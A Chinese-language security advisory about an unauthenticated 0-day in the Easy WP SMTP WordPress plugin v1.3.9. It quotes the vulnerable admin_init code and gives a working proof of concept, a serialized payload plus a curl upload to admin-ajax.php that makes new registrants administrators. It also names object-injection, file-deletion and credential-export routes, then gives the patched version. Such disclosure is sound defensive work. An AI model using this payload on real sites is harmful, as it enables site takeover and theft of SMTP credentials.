WordPress WP SMTP插件0 day漏洞预警

0x01 关键词

           WordPress   WP SMTP插件越权

0x02 背景:

近日,补天漏洞响应平台监测到网络上出现了WordPress WP SMTP插件0 day漏洞,通过此漏洞可导致执行远程代码,查看或删除日志或其他任意文件,导出含有SMTP主机、用户名和密码的插件配置数据等恶意操作,使用该插件的企业均受此影响。

0x03 情报通告:

发现时间

20190324

威胁目标

WordPress   WP SMTP插件

主要风险

远程代码执行

攻击入口

admin_init方法

使用漏洞

受影响应用

WordPress WP SMTP插件v1.3.9

已知影响

执行远程代码,查看或删除日志或其他任意文件,导出含有SMTP主机、用户名和密码的插件配置数据

威胁程度


0x04 威胁程度:

个人风险评级:

企业风险评级:

情报风险预警:对公司影响等级为,对使用WordPress WP SMTP插件的企业均有被攻击的风险。


0x05 情报描述:

  Easy WP SMTPWordPress中比较常用和受欢迎的插件,安装量超过30万。研究人员发现该插件中存在一个0 day漏洞,允许非认证的用户修改WordPress options或在注入和执行关于恶意动作的代码。

0x06 漏洞描述:


  该漏洞存在于version v1.3.9版本中,已经有黑客从2019-3-15日开始利用该漏洞发起攻击活动了。

add_action( 'admin_init', array( $this, 'admin_init' ) );  ...  ...  function admin_init() {          if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {                    add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );                    add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );          }             //view log file          if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {              if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {                   $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];                   if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {                       if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {                           wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );                       };                  }                   $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );                   if ( ! $logfile ) {                       wp_die( 'Can\'t open log file.' );                   }                   header( 'Content-Type: text/plain' );                   fpassthru( $logfile );                   die;              }          }             //check if this is export settings request          $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );          if ( $is_export_settings ) {              $data                                         = array();              $opts                                         = get_option( 'swpsmtp_options', array() );              $data[ 'swpsmtp_options' ]                = $opts;              $swpsmtp_pass_encrypted                         = get_option( 'swpsmtp_pass_encrypted', false );              $data[ 'swpsmtp_pass_encrypted' ]         = $swpsmtp_pass_encrypted;              if ( $swpsmtp_pass_encrypted ) {                   $swpsmtp_enc_key              = get_option( 'swpsmtp_enc_key', false );                   $data[ 'swpsmtp_enc_key' ]       = $swpsmtp_enc_key;              }              $smtp_test_mail                   = get_option( 'smtp_test_mail', array() );              $data[ 'smtp_test_mail' ]    = $smtp_test_mail;              $out                                  = array();              $out[ 'data' ]                   = serialize( $data );              $out[ 'ver' ]                     = 1;              $out[ 'checksum' ]                = md5( $out[ 'data' ] );                 $filename = 'easy_wp_smtp_settings.txt';              header( 'Content-Disposition: attachment; filename="' . $filename . '"' );              header( 'Content-Type: text/plain' );              echo serialize( $out );              exit;          }             $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );          if ( $is_import_settings ) {                    $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );                    if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {                           echo $err_msg;                           wp_die();                   }                   $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );                   try {                           $in = unserialize( $in_raw );                           if ( empty( $in[ 'data' ] ) ) {                                     echo $err_msg;                                     wp_die();                           }                           if ( empty( $in[ 'checksum' ] ) ) {                                     echo $err_msg;                                     wp_die();                           }                           if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {                                     echo $err_msg;                                     wp_die();                           }                           $data = unserialize( $in[ 'data' ] );                           foreach ( $data as $key => $value ) {                                     update_option( $key, $value );                           }                           set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );                           $url = admin_url() . 'options-general.php?page=swpsmtp_settings';                           wp_safe_redirect( $url );                           exit;                   } catch ( Exception $ex ) {                           echo $err_msg;                           wp_die();                   }          }  }

  当用户访问admin域时,是来自easy-wp-smtp.php脚本的admin_init()函数通过admin_init hook运行的。该函数可以用来查看或删除日志,导出或导入插件配置并在WordPress数据库中更新option。但是并不检查用户的能力,因此任意登陆的用户都可以触发该漏洞。但非认证的用户也可以执行,因为Easy WP SMTP使用AJAX和admin_init hook在admin-ajax.php上运行:

  而且不仅仅是在用户层的admin屏管理的,也可以运行在admin-ajax.php和admin-post.php。

因此,非认证的用户可以发送ajax请求来触发上面的函数和执行代码,比如action=swpsmtp_clear_log。

PoC

  在下面的PoC中,研究人员使用swpsmtp_import_settings来上传含有恶意序列化payload的文件,payload可以启用用户注册(users_can_register),在数据库中将用户默认角色default_role设置为administrator。

  1. 创建一个名为“/tmp/upload.txt”的文件并加入以下内容:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

  2. 上传该文件:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F '[email protected]/tmp/upload.txt'

  其他漏洞可以这样利用:

· 通过PHP对象注入执行远程代码,因为Easy WP SMTP使用不安全的 unserialize()调用。

· 查看或删除日志或其他任意文件,因为黑客可以修改日志的文件名。

· 导出含有SMTP主机、用户名和密码的插件配置数据,并用来发送垃圾邮件。

  研究人员通过防火墙记录数据发现,黑客利用该漏洞来修改WordPress wp_user_roles 选项的内容,并给予所有用户管理员功能。黑客并没有创建新的管理员账户,因为这在WordPress “Users”区域很容易会被发现。



受影响产品及版本:

WordPress WP SMTP    v1.3.9


解决方案:

0x07总结以及处置建议

处置建议

Wordpress发布了version 1.3.9.1新版本,已经修复了该漏洞。


更新地址

https://wordpress.org/plugins/easy-wp-smtp/

参考资料:

https://paper.tuisec.win/detail/ef6be9f12afcd74

0x08附录

个人风险等级与威胁系数

风险等级

威胁系数

高危

70~100

中危

40~70

低危

20~40


企业风险等级与威胁系数

风险等级

威胁系数

严重

90~100

高危

70~90

中危

40~70

低危

20~40

无影响

0~20